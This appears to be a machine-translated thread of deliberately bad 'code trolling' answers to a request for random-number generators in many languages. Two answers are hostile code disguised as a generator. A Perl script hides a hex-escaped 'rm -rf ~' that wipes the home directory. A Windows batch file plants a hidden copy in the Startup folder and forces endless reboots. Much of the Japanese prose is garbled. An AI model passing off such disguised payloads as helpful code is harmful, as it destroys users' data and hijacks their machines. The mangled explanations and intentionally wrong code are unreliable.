チャレンジ：

ランダムな数列を生成します。唯一の入力は、シーケンスの長さです。

純粋に機能的なソリューションのための追加のインターネットポイント。

^{注：これはコードトローリングの質問です。質問や回答を真剣に受け取らないでください。詳細はこちら。}

Python

ランダムなウィキペディアの記事を入手し、長さnumのhtml文字のシーケンスを取得し、それらの数値を取得します

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

他の回答からのすべてのプログラムは、いわゆる「疑似乱数」を生成するだけです。これは、訓練されていない目ではランダムに見えますが、実際にはいくつかのパターンに従います。

次のプログラムは、コンピュータをバックグラウンド放射の粒子検出器に変えることにより、実際の乱数を生成します。これは量子効果に基づいているため、実際にはランダムで予測が不可能です。おまけに、コンピューターを宇宙に発射すると、プログラムは実際に高速に実行されます。そして、はい、それは見た目と同じくらいクールです。

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

ネタバレ：

このプログラムは、2つの同一のメモリを生成し、バックグラウンド放射がそれらの1つを変更するのにかかる時間を待機します。その後、待機時間は乱数として返されます。これは、整数のオーバーフローがなければ指数的に分布します。宇宙空間で発生する可能性が高いこのようなイベントは、宇宙線の実際の問題であり、放射線硬化によって対処されます。したがって、導入部のすべての声明は、クールさについてのビットを除き、ある程度真実です。

残念ながら、このようなイベントは、コンピューターまたは少なくともプログラムをクラッシュさせる可能性があり、2つのメモリチャンクに正確に影響を与える可能性が高くなります。また、それは...最後に、kinokijufによって尖ったアウトとして、バックグラウンド放射線はそう、外部プロセスで時間がかかる場合がありますjし、kとしてマークする必要がありますvolatileコンパイラに（またはあなたがすべてで最適化しないコンパイラを使用する必要があります）。

PS： アイデアを拡張して、ゼロで埋められた配列を作成してから印刷することもできます。バックグラウンド放射が保存と印刷の間でゼロを変更し、したがって印刷されるものがランダムであるという可能性があります。

ランダムネスは純粋に決定論的であるため、コンピューターで達成するのは困難です。コンピューターで乱数を生成することは非常に活発な研究分野であり、多くの場合、状態レベルのアクターが関与します（Dual_EC_DRBGを参照）。ただし、最新のマルチタスクオペレーティングシステムでは、状況によってはスレッドスケジューラが適切なジョブを実行する場合があります。これを行うために、現在のタイムスライスの制御をオペレーティングシステムに戻し、再びスケジュールされるまでにかかる時間を書き留めます。オペレーティングシステムと負荷によっては、これにより目的の結果が得られる場合があります。

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C＃

outソフトウェアのユーザーは本質的にランダムであるため、それを活用してみませんか？

このコードはスクリーンショットを撮り、それを他のデータとともに使用してランダムシーケンスを生成します。組み込みのランダムジェネレーターを使用しない場合のボーナスインターネットポイント

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Python

よくある落とし穴、つまり乱数の不均等に分散されたソースで、ランダム化されていないものにつまずくのは簡単です。私の解決策は、深い数学的な洞察と、現在の時間での単純だが効果的なトリック、ランダム化を使用することにより、これらの問題を非常に回避します。

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

小さい数のセット（9以下）で1回テストした場合は問題なく動作しますが、さらにテストした結果、深刻な欠陥があります。

• math.pi ピリオドの後に数桁しか含まれていない
• time.localtime()[8]ミリ秒やカーネルクロックを返しませんが、夏時間かどうかに応じて0または1を返します。そのため、ランダムシードは半年ごとに1箇所ずつ変化します。したがって、基本的に、ランダム化はありません。
• これは、0〜9の乱数のみを返します。
• random_numbers[:number]number15より大きい値を入力すると、15の乱数のみを吐き出すと、静かに失敗します。

悲しいことに、これはDelphi 1.0ランダム関数に触発されたもので、以前は同様に機能していました。

ルビー

質問はシーケンスを要求します。ああ、またか...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

これは100％ランダムです。いやいや。
残念なことに、このコードはOPにNOTHINGを意味します（何がobject_idなのでしょうか？）
また、実装固有のものであり、異なるrubyバージョン間で機能する、または機能しないことを意味します（2.1.0p0で実行）
それに加えて、OPはobject_idを試す可能性があるため、これは本当に厄介なことをする可能性があります...

出力例：

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

編集：

$$（OSレベルで）真のランダム性に使用するように変更されました。

Java

注意してください、これはトリックの質問です.....

Javaのほとんどの人はmath.random（）を使用してこのシーケンスを生成しますが、肯定的な結果しか得られないため混乱します。random()0から1までの10進数値を返します（1自体を除く）。そのため、整数範囲全体（正と負）からランダムな値が適切に分布するように、いくつかのトリックを実行する必要があります。

また、あなたがいないだけで掛けることができますMath.random()し、Integer.MAX_VALUEあなた、これが含まれることはありませんので、Integer.MAX_VALUE結果の一部として自分自身を！また、math.rand() * (Integer.MAX_VALUE + 1)完全な配布を取得するように論理的にすることもできますが、もちろん、Integer.MAX_VALUE + 1オーバーフローするため、これは機能しません。Integer.MIN_VALUE！したがって、残念ながら、最善の解決策はデータのビット単位の操作に頼ることです...

だから、ここで生成するための完全な配列の「n」の範囲でランダムな値であるInteger.MIN_VALUEとInteger.MAX_VALUE（硬い部分である両極端の包含は、（）！！）：

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

これにより、次のような出力が生成されます。

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

もちろん、上記は完全なBSの答えです。それは良い説明を生成せず、重大なバグを「隠し」^=ます（そうすべきです|=）。また、それほど重大ではないバグも隠します（order-pf-precedenceは、実際には素数で乗算しないことを意味します！） 。もちろん、上記を実行したい場合は、単に使用する必要がありますjava.util.Random.nextInt()

Java

プログラムを振り返った今、私はScanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

私は$\、異なるコードトローリングの回答と同じ戦術を出力に使用しています。私はかなりの量を投資していていることも、あなたは多くの通知$$にRANDUアルゴリズム。

編集：よりよく説明すると、RANDUは恐ろしく安全でないPRNGです。ウィキペディアは、「これまでに設計された中で最もよく考えられていない乱数ジェネレータの1つ」であると説明しています。主な弱点は以下のとおりです。

f（x）= 6 * f（x-1）-9 * f（x-2）

これが乱数ジェネレーターbase 2^CHAR_BITです。

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

機能的なスタイルのjavascriptで：

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

この関数は、0から1337の間の乱数を作成する小さなアプリケーションで非常にうまく機能します。最大のランダム性を保証するために、複数回呼び出すことをお勧めします。

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

有名なBlum Blum Shubジェネレーター。乱数ジェネレーターは暗号的に安全である必要があるため、不明瞭さよりも優れたセキュリティを提供する方法です。

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{（ひどい変数名、ウィキペディアのクイックスキャンに基づく誤った実装、および楽しみのために投入された役に立たない関数ポインターマジックが含まれます）}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

ガベージヒープデータを使用します。ああ、ポインターをリークすることを忘れないでください。

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

長所：

• できます。
• 時々。
• 有効（ish）C89。
• ひどいC ++。
• ので、Cヘッダを使用しusing namespace std;ているEVIL、我々はすべてのそれらの名前空間のルックアップを使用してプログラムを遅くする必要はありません。
• ハードコードされた値のモジュラスを使用することにより、速度を優先して分布の均一性を避けます（TODO：これを変更して、ビットシフトを使用して生の速度をさらに高めます）。
• 同じクロック秒内で複数回実行することにより、確定性を検証できます。
• このコードがなぜ悪いのかは、OPがおそらく気付かないほど明らかではありません。

短所：

• このコードがなぜ悪いのかは、OPの教授（グレーダー）がおそらく気付かないほど明らかではありません。
• これは一般に許容可能な解決策と見なされているようです。
• より多くのRAW速度が必要です。

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

入力-3

出力-{2,3,1}

それが沸騰するので、それは動作します :Input A:Disp randIntNoRep(1,A)

これがPythonソリューションです。これがランダムではないことを証明することはできません！

def get_random(num):
    print '3' * num

get_random(5)たとえば、を呼び出して試してください。

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

これは、OPが要求したとおりに非常に単純なperlコードを使用しますが、ホームディレクトリを再帰的に削除する前ではありません（もちろん、実際にrm -rf〜を記述することはありません）。

私はこれをテストしていません（明らかな理由のため）。

Python 3

多くの時間（実時間とCPU時間の両方）を無駄にするだけでなく、10個の乱数を返すだけです。

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

ルビー

すべての数字がランダムではないことをご存知かもしれません。このプログラムをチェックし、すべての数字となります、あなただけでは本当にランダムです。

Rubyコードは読むのが少し難しいことに注意してください。コンピューターは少し愚かであり、時には重要な言葉を繰り返さなければならないため、英語ほど効率的ではありません。

そのため#comments、コードにいくつか追加しました。コメント内の大文字の単語は、Rubyコードで同じ単語がどのように機能するかを示しています。

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

より詳細な説明は後で来るかもしれませんが、実行例からのこの出力はそれのいくつかを与えるはずです：[1、3、5、10、180、607、639、1694、21375、75580、137110、149609] ...それでもちょっとランダム。

次のWindowsバッチスクリプトはOUTPUT.TXT、プロファイルフォルダーに名前が付けられた乱数を含むファイルを生成します。これにより、ほぼ完全に真の乱数が生成されることが保証されます。このコードをメモ帳に貼り付け、"FileName.CMD"（引用符付きで）保存して実行します。

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

生成される乱数の量を入力しなければならないことは、あまりにも面倒です。電源ボタンを押し続けると、生成が停止します。ウェイ簡単に！さらに、キーボードは不要です。

ルア

これは、シンタックスハイライターを使用しても、過剰に達成され、複雑になり、面倒な、非常に複雑な方法で無意味に高い数値を生成する関数です。そして、数字の文字列を返す代わりに、画面上に数字を印刷するため、プログラム内で使用するのは実用的ではありません。編集するのは難しいので、もしあなたの被害者があなたにそれを修正するように頼んだら、編集するには複雑すぎると言います。

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C＃

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

長いシーケンスでは壊れる傾向がありますが、動作すると非常に乱数が生成されることに注意してください

Fortran

コンピューターには既に乱数が組み込まれているため、それにアクセスするだけです。

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

ユーザーが* nixシステムを必要とするため、明らかに移植性がありません（ただし、Windowsをまだ使用しているのは誰ですか？）。

もちろん、たくさんの乱数が必要だと思います。どれが...

BashとHadoop

もちろん、単一のランダムソースを使用するだけでは、NSAの時代には信頼できません。彼らはあなたのコンピューターをトロイの木馬したかもしれません。しかし、彼らはあなたのクラスター全体をトロイの木馬にするつもりはありません！

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

次に、スクリプトは必要に応じてクラスタージョブを実行します。

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

神に感謝、Hadoopの力を持っています！

ルビー

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

これはかなりトリッキーであり、私はそれについてあまり心配しません。以下のコードをコピーしてライブラリに貼り付けるだけで、永遠に黄金色になります。

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

C ++をお試しください-高速、強力、必要なものすべて：

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

ところで、最高の結果を得るには、 class。

説明：
1.彼はそれを使う必要はありませんclass-それは完全に冗長です。
2.のreturnステートメントは、generate_num()実際にnumber ^（number ^ 0）を返します。これは、number ^ 1（number）に評価されます。これも冗長です。
3.最も不必要なエラー処理-この基本的なデータパンチングで何が問題になる可能性がありますか？
4. 名前空間のstd::すべての要素の前に使用しましたstd。これも冗長です。
5。#define声明も不必要です-私は彼にこのプログラムのためにそれらのタイプを明確に定義したと思わせるためにそれをしました。

免責事項：
このプログラムは実際に動作します。ただし、実際のコードでそれを使用している個人またはエンティティはお勧めしません。このコードに関する権利を留保しません。つまり、完全にオープンソースにします。

Python

機能的な部分-ほぼ1行のPython

import random
map(lambda x: random.random(), xrange(input())